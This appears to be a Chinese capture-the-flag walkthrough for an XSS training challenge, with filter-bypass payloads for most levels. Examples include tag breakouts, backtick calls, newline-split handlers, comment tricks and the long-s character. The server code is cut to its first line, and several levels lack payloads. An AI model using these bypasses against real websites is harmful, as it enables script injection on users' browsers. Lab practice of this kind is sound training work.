这里只需要能alert(1)即可通关,比较基础,可以练练手
0x00
server code:
1 | function render (input) { |
这里没有任何过滤,直接可以进行xss
payload:
1 | <script>alert(1)</script> |
0x01
server code:
1 | function render (input) { |
这里没有任何过滤,闭合<textarea>
标签即可直接可以进行xss
payload:
1 | </textarea><script>alert(1)</script> |
0x02
server code:
1 | function render (input) { |
这里有两种考虑的方法
方法1
先闭合value
的"
,然后在input标签中加载js事件,但是这个需要被攻击者配合,并不能直接加载
payload:
1 | " onmousemove= "alert(1)" ><!--"> |
方法2
闭合input标签,直接使用script
标签
payload:
1 | "><script>alert(1)</script><!-- |
0x03
server code:
1 | function render (input) { |
这里过滤了()
,可以使用`
payload:
1 | <script>alert`1`</script> |
0x04
server code:
1 | function render (input) { |
这里过滤了[]
、()
、`
,可以用html编码绕过
payload:
1 | <img src=1 onerror=alert(1)> |
0x05
server code:
1 | function render (input) { |
这里的考点就是html中的注释,如下
1 | // 单行注释 |
虽然这里过滤了-->
,但是还是可以用--!>
绕过
payload:
1 | --!><img src=x onerror=alert(1)> |
0x06
server code:
1 | function render (input) { |
这里正则过滤时有一个漏洞,即它是匹配on****=
整体,所以我们只需要在=
前面换行即可
payload:
1 | type="image" src=x onerror |
0x07
server code:
1 | function render (input) { |
这里过滤了<>
内的所有字符,这样的话我们需要知道一个特性,就是当标签为<img
时,也是可以正常显示的,浏览器会自动补全标签
payload:
1 | <img src=x onerror=alert(1)<!-- |
0x08
server code:
1 | function render (src) { |
这里也是因为正则匹配的问题,不应该匹配标签,应该直接匹配关键字,所以可以用<style >
和
1 | <style |
来绕过
payload:
1 | </style ><script>alert(1)</script> |
0x09
server code:
1 | function render (input) { |
这里只要求了匹配完整的http://www.segmentfault.com
或者https://www.segmentfault.com
这样的话,如果网站能够访问,那么我们加载onload
事件,如果不能网站访问,那么我们加载onerror
事件
payload:
1 | http://www.segmentfault.com1" onerror="alert(1) |
0x0A
server code:
1 | function render (input) { |
payload:
1 |
0x0B
server code:
1 | function render (input) { |
这里把输入的全部进行大写,这样的话函数和方法就会失效,但是我们可以用html编码绕过
这里其实有一个关于浏览器解析的知识,script
标签内不支持html解析,只支持js解析,所以在script标签内使用html编码是无效的
payload:
1 | <img src="x" onerror=alert(1)> |
0x0C
server code:
1 | function render (input) { |
这里跟上题一样,只是过滤了script
,直接用上题的payload即可
payload:
1 | <img src="x" onerror=alert(1)> |
0x0D
server code:
1 | function render (input) { |
1 | // 单行注释(js) |
这里利用的就是js中的注释
payload:
1 |
|
0x0E
server code:
1 | function render (input) { |
这里利用的是古英文中的字母ſ
,我也是第一次听说,更多的可以参考「长S」的故事,与 ß 和积分符号
方法1:这里进行了大写绕过,由于在script
标签中,是无法进行html编码解析的,但是可以用svg
标签包住script
标签,这样就可以解析了
方法2:外链一个js文件
payload:
1 | <ſvg><ſcript>alert(1)</ſcript></ſvg> |
0x0F
server code:
1 | function render (input) { |
这里会把输入的内容进行html编码,但是并没有什么用,因为输入的内容在html标签中,这样是会先进行html解码的(如果不明白可以去了解浏览器自解码机制),所以过滤是失效的
payload:
1 | ');alert('1 |
0x10
server code:
1 | function render (input) { |
这里简单的引用一下网上的解释:Window 对象表示一个浏览器窗口或一个框架。在客户端 JavaScript 中,Window对象是全局对象,所有的表达式都在当前的环境中计算。也就是说,要引用当前窗口根本不需要特殊的语法,可以把那个窗口的属性作为全局变量来使用。例如,可以只写document
,而不必写 window.document
。
所以这里直接传值就好了
payload:
1 | alert(1) |
0x11
server code:
1 |
payload:
0x12
server code:
1 | // from alf.nu |
payload: